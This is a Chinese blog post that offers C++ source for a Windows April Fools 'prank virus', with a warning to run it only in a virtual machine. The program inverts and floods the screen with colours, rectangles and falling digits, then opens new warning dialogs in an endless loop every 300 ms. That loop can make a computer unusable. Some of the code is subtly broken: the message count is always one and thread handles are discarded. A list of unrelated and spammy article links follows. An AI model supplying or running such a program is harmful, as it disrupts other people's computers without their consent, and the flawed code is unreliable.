当前位置: 首页 > news >正文

5种特效融合愚人节搞怪病毒

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作 并在虚拟机里运行此代码!,病毒带来后果自负!

#include <windows.h>
#include <cmath>
#include <thread>
using namespace std;
// 屏幕特效函数声明
void InvertScreen();
void ScreenShake();
void RandomRectangles();
void ColorWave();
void MatrixEffect();

// 弹窗文本内容
const char* messages[] = {
    "巧克力病毒入侵中...",
    "正在将文件转换为猫咪",
    "检测到幽默细胞不足!",
    "系统即将充满笑话",
    "正在下载无限笑料",
    "警告:滑稽程度超标",
    "初始化傻笑协议..."
};

// 弹窗图标类型
const UINT icons[] = { MB_ICONWARNING, MB_ICONINFORMATION, MB_ICONERROR };

// 弹窗按钮组合
const UINT buttons[] = { MB_OK, MB_OKCANCEL, MB_YESNO };

void ShowRandomDialog() {
    // 随机选择消息、图标和按钮
    static int count = sizeof(messages) / sizeof(messages);
    MessageBoxA(NULL,
        messages[rand() % count],
        "四月傻瓜警告",
        buttons[rand() % 3] | icons[rand() % 3]);
}

// 特效1: 屏幕反色
void InvertScreen() {
    HDC hdc = GetDC(NULL);
    RECT rect;
    GetWindowRect(GetDesktopWindow(), &rect);
    BitBlt(hdc, 0, 0, rect.right, rect.bottom, hdc, 0, 0, NOTSRCCOPY);
    ReleaseDC(NULL, hdc);
}
// 特效2: 屏幕抖动
void ScreenShake() {
    for (int i = 0; i < 10; ++i) {
        HWND hwnd = GetDesktopWindow();
        RECT rect;
        GetWindowRect(hwnd, &rect);
        int offset = (i % 2) * 20 - 10;
        MoveWindow(hwnd, offset, offset,
            rect.right - rect.left,
            rect.bottom - rect.top, TRUE);
    }
}

// 特效3: 随机矩形
void RandomRectangles() {
    HDC hdc = GetDC(NULL);
    for (int i = 0; i < 50; ++i) {
        int x1 = rand() % GetSystemMetrics(SM_CXSCREEN);
        int y1 = rand() % GetSystemMetrics(SM_CYSCREEN);
        HBRUSH brush = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
        SelectObject(hdc, brush);
        Rectangle(hdc, x1, y1, x1 + rand() % 200, y1 + rand() % 200);
        DeleteObject(brush);
    }
    ReleaseDC(NULL, hdc);
}

// 特效4: 彩色波浪
void ColorWave() {
    HDC hdc = GetDC(NULL);
    RECT rect;
    GetWindowRect(GetDesktopWindow(), &rect);
    for (int i = 0; i < 500; i++) {
        int hue = (GetTickCount() / 10) % 360;
        COLORREF color = RGB(
            (sin(hue * 3.14159265 / 180) + 1) * 127,
            (sin((hue + 90) * 3.14159265 / 180) + 1) * 127,
            (sin((hue + 180) * 3.14159265 / 180) + 1) * 127
        );
        HBRUSH brush = CreateSolidBrush(color);
        FillRect(hdc, &rect, brush);
        DeleteObject(brush);
    }
    ReleaseDC(NULL, hdc);
}

// 特效5: 伪矩阵数字雨
void MatrixEffect() {
    HDC hdc = GetDC(NULL);
    int width = GetSystemMetrics(SM_CXSCREEN);
    int height = GetSystemMetrics(SM_CYSCREEN);

    for (int i = 0; i < 1000; i++) {
        SetTextColor(hdc, RGB(0, 255, 0));
        SetBkMode(hdc, TRANSPARENT);

        for (int j = 0; j < 50; j++) {
            int x = rand() % width;
            int y = rand() % height;
            char c = '0' + rand() % 10;
            TextOutA(hdc, x, y, &c, 1);
        }
        BitBlt(hdc, 0, 0, width, height, hdc, 2, 2, SRCCOPY);
    }
    ReleaseDC(NULL, hdc);
}

int main() {
    // 设置随机种子
    srand(GetTickCount());
    // 启动多个特效线程
    HANDLE threads;
    threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)InvertScreen, NULL, 0, NULL);
    threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ScreenShake, NULL, 0, NULL);
    threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RandomRectangles, NULL, 0, NULL);
    threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ColorWave, NULL, 0, NULL);
    threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MatrixEffect, NULL, 0, NULL);

    // 持续显示弹窗
    while (true) {
        threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ShowRandomDialog, NULL, 0, NULL);
        Sleep(300);
    }
    return 0;
}

相关文章:

  • 做冻品海鲜比较大的网站有哪些网络营销与市场营销的区别
  • 建设网站思维导图体验营销策划方案
  • 上饶网站开发怎么找需要推广的商家
  • 日照网站推广百度快速排名优化技术
  • 国外做化学申报的网站优秀网站网页设计图片
  • 广州预约小程序开发seo关键词排名优化专业公司
  • 深入解析C#中的解释器模式:原理与应用
  • C语言:多线程
  • 《Python实战进阶》第39集:模型部署——TensorFlow Serving 与 ONNX
  • C--操作符
  • AI人工智能-PyCharm的介绍安装应用
  • Vue学习笔记集--defineExpose
  • CSP-J 2019 入门级 第一轮(初赛) 完善程序(2)
  • 协程 Coroutine
  • 综合实验一
  • Arduino示例代码讲解:Virtual Color Mixer 虚拟混色器
  • CS提取的基本使用和模块加载
  • 树莓派超全系列文档--(14)无需交互使用raspi-config工具其一
  • 记录vite-plugin-dts打包时无法生成 .d.ts文件问题
  • Numpy常见bug
  • 定时器的定义
  • linux用户组和用户
  • MyBatis复杂查询——一对一、一对多
  • AF3 FeaturePipeline类解读
  • 经典动态规划问题:爬楼梯的多种解法详解
  • 基于大模型的知识图谱搜索的五大核心优势